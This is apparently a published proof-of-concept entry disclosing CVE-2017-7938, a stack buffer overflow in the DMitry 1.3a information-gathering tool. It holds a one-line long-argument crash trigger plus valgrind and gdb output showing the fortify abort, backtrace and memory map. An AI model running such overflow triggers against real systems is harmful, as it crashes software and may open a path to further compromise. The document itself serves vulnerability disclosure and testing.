Dmitry 1.3a – Local Buffer Overflow (PoC)
################ #Exploit Title: Dmitry(Deepmagic Information Gathering Tool) Local Stack Buffer Overflow #CVE: CVE-2017-7938 #CWE: CWE-119 #Exploit Author: Hosein Askari (FarazPajohan) #Vendor HomePage: http://mor-pah.net/software/dmitry-deepmagic-information-gathering-tool/ #Version : 1.3a (Unix) #Exploit Tested on: Parrot OS #Date: 19-04-2017 #Category: Application #Author Mail : hosein.askari@aol.com #Description: Buffer overflow in DMitry (Deepmagic Information Gathering Tool) version 1.3a (Unix) allows attackers to cause a denial of service (application crash) or possibly have unspecified other impact via a long argument. An example threat model is automated execution of DMitry with hostname strings found in local log files. ############################### #valgrind dmitry $(python -c 'print "A"*64') ==11312== Memcheck, a memory error detector ==11312== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al. ==11312== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info ==11312== Command: dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ==11312== Deepmagic Information Gathering Tool "There be some deep magic going on" ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Continuing with limited modules HostIP: HostName:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Gathered Inic-whois information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --------------------------------- Error: Unable to connect - Invalid Host ERROR: Connection to InicWhois Server AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA failed Gathered Netcraft information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA --------------------------------- Retrieving Netcraft.com information for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Netcraft.com Information gathered **11312** *** strcpy_chk: buffer overflow detected ***: program terminated ==11312== at 0x4030DD7: VALGRIND_PRINTF_BACKTRACE (valgrind.h:6818) ==11312== by 0x40353AA: __strcpy_chk (vg_replace_strmem.c:1439) ==11312== by 0x804B5F7: ??? (in /usr/bin/dmitry) ==11312== by 0x8048ED8: ??? (in /usr/bin/dmitry) ==11312== by 0x407D275: (below main) (libc-start.c:291) ==11312== ==11312== HEAP SUMMARY: ==11312== in use at exit: 0 bytes in 0 blocks ==11312== total heap usage: 82 allocs, 82 frees, 238,896 bytes allocated ==11312== ==11312== All heap blocks were freed -- no leaks are possible ==11312== ==11312== For counts of detected and suppressed errors, rerun with: -v ==11312== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ====================================== GDB output: (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /usr/bin/dmitry AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Deepmagic Information Gathering Tool "There be some deep magic going on" ERROR: Unable to locate Host IP addr. for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Continuing with limited modules *** buffer overflow detected ***: /usr/bin/dmitry terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x6737a)[0xb7e5a37a] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x37)[0xb7eeae17] /lib/i386-linux-gnu/libc.so.6(+0xf60b8)[0xb7ee90b8] /lib/i386-linux-gnu/libc.so.6(+0xf56af)[0xb7ee86af] /usr/bin/dmitry[0x8048e04] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e0b276] /usr/bin/dmitry[0x80490a4] ======= Memory map: ======== 08048000-0804f000 r-xp 00000000 08:01 7209647 /usr/bin/dmitry 0804f000-08050000 r--p 00006000 08:01 7209647 /usr/bin/dmitry 08050000-08051000 rw-p 00007000 08:01 7209647 /usr/bin/dmitry 08051000-08073000 rw-p 00000000 00:00 0 [heap] b7d9f000-b7dbb000 r-xp 00000000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1 b7dbb000-b7dbc000 r--p 0001b000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1 b7dbc000-b7dbd000 rw-p 0001c000 08:01 24248323 /lib/i386-linux-gnu/libgcc_s.so.1 b7dbd000-b7dd1000 r-xp 00000000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so b7dd1000-b7dd2000 r--p 00013000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so b7dd2000-b7dd3000 rw-p 00014000 08:01 24249970 /lib/i386-linux-gnu/libresolv-2.24.so b7dd3000-b7dd5000 rw-p 00000000 00:00 0 b7dd5000-b7dda000 r-xp 00000000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so b7dda000-b7ddb000 r--p 00004000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so b7ddb000-b7ddc000 rw-p 00005000 08:01 24249963 /lib/i386-linux-gnu/libnss_dns-2.24.so b7ddc000-b7dde000 r-xp 00000000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2 b7dde000-b7ddf000 r--p 00001000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2 b7ddf000-b7de0000 rw-p 00002000 08:01 24249725 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2 b7de0000-b7deb000 r-xp 00000000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so b7deb000-b7dec000 r--p 0000a000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so b7dec000-b7ded000 rw-p 0000b000 08:01 24249964 /lib/i386-linux-gnu/libnss_files-2.24.so b7ded000-b7df3000 rw-p 00000000 00:00 0 b7df3000-b7fa4000 r-xp 00000000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so b7fa4000-b7fa6000 r--p 001b0000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so b7fa6000-b7fa7000 rw-p 001b2000 08:01 24249955 /lib/i386-linux-gnu/libc-2.24.so b7fa7000-b7faa000 rw-p 00000000 00:00 0 b7fd4000-b7fd7000 rw-p 00000000 00:00 0 b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar] b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso] b7fdb000-b7ffd000 r-xp 00000000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so b7ffd000-b7ffe000 rw-p 00000000 00:00 0 b7ffe000-b7fff000 r--p 00022000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so b7fff000-b8000000 rw-p 00023000 08:01 24249741 /lib/i386-linux-gnu/ld-2.24.so bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Program received signal SIGABRT, Aborted. 0xb7fd9cf9 in __kernel_vsyscall () |